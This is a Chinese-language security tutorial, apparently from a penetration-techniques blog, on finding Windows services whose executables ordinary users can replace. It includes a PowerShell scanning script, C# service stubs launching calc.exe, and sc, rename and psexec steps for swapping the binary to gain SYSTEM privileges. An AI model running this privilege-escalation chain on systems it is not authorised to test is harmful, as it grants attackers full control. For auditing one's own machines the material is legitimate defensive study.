Use powershell to find a writable windows service
0x00 前言
从 DidierStevens 的博客学到了一些技巧,本文将要对其中涉及到的技巧进行测试总结,并开源一个 powershell 脚本,用来寻找可被替换的服务,实现自动化利用。
DidierStevens 的博客链接:https://blog.didierstevens.com/2017/09/05/abusing-a-writable-windows-service/
0x01 简介
本文将要介绍以下内容:
- 使用 c#编写可供 Windows 服务调用的程序
- psexec 的-i 参数使用技巧
- sc 命令使用技巧
- 通过 powershell 获取服务对应的可执行文件路径
- 自动化利用脚本开发细节
0x02 使用 c#编写可供 Windows 服务调用的程序
可供 Windows 服务调用的程序需要能够同 SCM(Services Control Manager) 进行交互,所以在程序编写上需要注意
Didier Stevens 在博客中给出了 c#开发的模板,代码如下:
using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("cmd.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}
由于是 c#代码,可以直接用 csc.exe 进行编译
所以在实际使用的过程,不需要提前编译好 exe,只需要将 cs 脚本上传,再使用 csc.exe 编译成 exe 即可
0x03 sc 命令使用技巧
查询所有服务列表:
sc query
查询指定服务配置信息:
sc qc 服务名
创建服务:
sc create Test type= own binpath= c:\test\test.exe
删除服务:
sc delete 服务名
0x04 通过 powershell 获取服务对应的可执行文件路径
Didier Stevens 在博客中说他朋友找到了一个可写的 Windows 服务,并且只需要普通用户权限,于是,自然就想到了我们自己能否也找到这个服务
通过 sc query 能够列举出所有服务名称,再通过 sc qc 服务名 查询到该服务对应的可执行文件路径
例如: sc qc eventlog
如下图,eventlog 服务对应可执行文件路径为 C:\Windows\System32\svchost.exe
可以手动去查找每个服务对应的可执行文件路径,看是否存在符合要求的路径(即普通用户可写的权限)
当然,该过程耗时耗力,最好通过编写程序来实现
在 Windows 系统下,最简单高效的开发语言还是 powershell,于是决定使用 powershell 来实现自动化判断
但是,sc 这个命令不能直接在 ps 里面运行,ps 会把它当作 set-content 的别名
注:可通过使用 sc.exe 在 ps 里面运行 sc 命令,例如 sc.exe qc eventlog
解决方法:调用 WMI 来实现,代码如下:
Get-WmiObject win32_service | select Name,PathName
如下图,能够列举服务和对应的可执行文件路径
0x05 自动化利用脚本开发细节
下面介绍自动化脚本的开发细节,思路如下:
列举出服务和对应的可执行文件路径后,对每一个路径进行提取,判断该路径是否具有普通用户可写的权限
1、获取所有可执行文件路径
Get-WmiObject win32_service | select Name,PathName
2、将可执行文件路径转换为数组
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
数组范围:$out[0]
至 $out[($out.Count-1)]
如下图
3、截取路径,显示单个数组的文件夹
$out[0].PathName.Substring($out[0].PathName.IndexOfAny("C"),$out[0].PathName.LastIndexOfAny("\"))
如下图
4、为了格式统一,将字符串都转换为大写
$out[0].PathName.ToUpper().Substring($out[0].PathName.ToUpper().IndexOfAny("C"),$out[0].PathName.ToUpper().LastIndexOfAny("\"))
5、枚举所有截取过的文件夹
使用 foreach 循环:
foreach ($item in $out)
{
$item.PathName.ToUpper().Substring($item.PathName.ToUpper().IndexOfAny("C"),$item.PathName.ToUpper().LastIndexOfAny("\"))
}
如下图
也可使用 for 循环:
for($i=0;$i -le $out.Count-1;$i++)
{
$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
}
6、获取文件夹权限
$a=$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
Get-Acl -Path $a |select Owner
以下三个权限代表管理员权限,不符合要求:
- NT AUTHORITY\SYSTEM
- NT SERVICE\TrustedInstaller
- BUILTIN\Administrators
因此要对其剔除,剩下的权限代表当前用户,对应代码为:
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
$a.Owner
}
}
}
7、筛选符合条件的服务后,重新查找,找到当前用户权限对应的服务名称和路径
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName
8、如果在系统未找到可利用的服务,脚本会报错,提示不能对 Null 值表达式调用方法
如下图
使用 $ErrorActionPreference="SilentlyContinue"
隐藏错误信息,错误信息写入 $Error
变量
综上,对输出格式进行优化,完整代码如下:
$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
If($a.Owner -ne "BUILTIN\Administrators"){
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
Write-host Owner: $a.Owner
}
}
}
}
Write-host [+] All done.
0x06 实际测试
1、手动创建服务 Test
sc create Test type= own binpath= c:\test\test.exe
2、编译生成 exe
using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start("calc.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}
保存为 test.cs
使用 csc.exe 编译:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs
生成 test.exe
3、启动服务
sc start Test
查看进程,能够看到 calc.exe 进程启动,权限为 system,如下图
4、替换 test.exe
在实际情况,如果没有获得管理员权限,那么无法启动和停止服务
如果不停止服务,就无法直接删除 exe,提示拒绝访问
但可以将该文件重命名,相当于变相删除该文件,将新文件再命名为 test.exe
rename test.exe test2.exe
这样就可以在不停止服务的情况下实现文件替换,如下图
5、重启服务
sc stop Test
sc start Test
当然,该操作需要管理员权限
6、psexec 的-i 参数使用技巧
由于服务启动的 exe 为 system 权限,默认为 session 0,而用户界面为 session 1,所以看不到启动的 exe 界面
可通过 psexec 指定启动 exe 的 session,这样就能获取到程序界面
test.cs 修改如下:
using System.ServiceProcess;
namespace Demo
{
public class Service : ServiceBase
{
protected override void OnStart(string[] args)
{
System.Diagnostics.Process.Start(@"c:\test\psexec.exe", @"-accepteula -d -i 1 calc.exe");
}
}
static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}
停止服务: sc stop Test
删除文件: del test.exe
编译文件: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs
将 psexec 保存在 c:\test
启动服务: sc start Test
此时,能够看到 system 权限 calc.exe 的界面,如下图
7、使用 powershell 脚本扫描
如下图,标记出服务命令和可供替换的路径,便于进行替换
该脚本能够自动判断当前系统是否存在可供利用的服务
0x07 小结
如果找到了一个普通用户权限可写的 Windows 服务,对其可执行文件进行替换,那么在服务重启后,就能以 system 权限执行替换后的文件,可用作提权。
本文开源的脚本可用来自动查找当前系统是否存在普通用户权限可写的 Windows 服务,站在防御者的角度,也可以用该脚本测试自己的系统。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

上一篇: 渗透技巧——Token 窃取与利用
下一篇: Covenant 利用分析
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论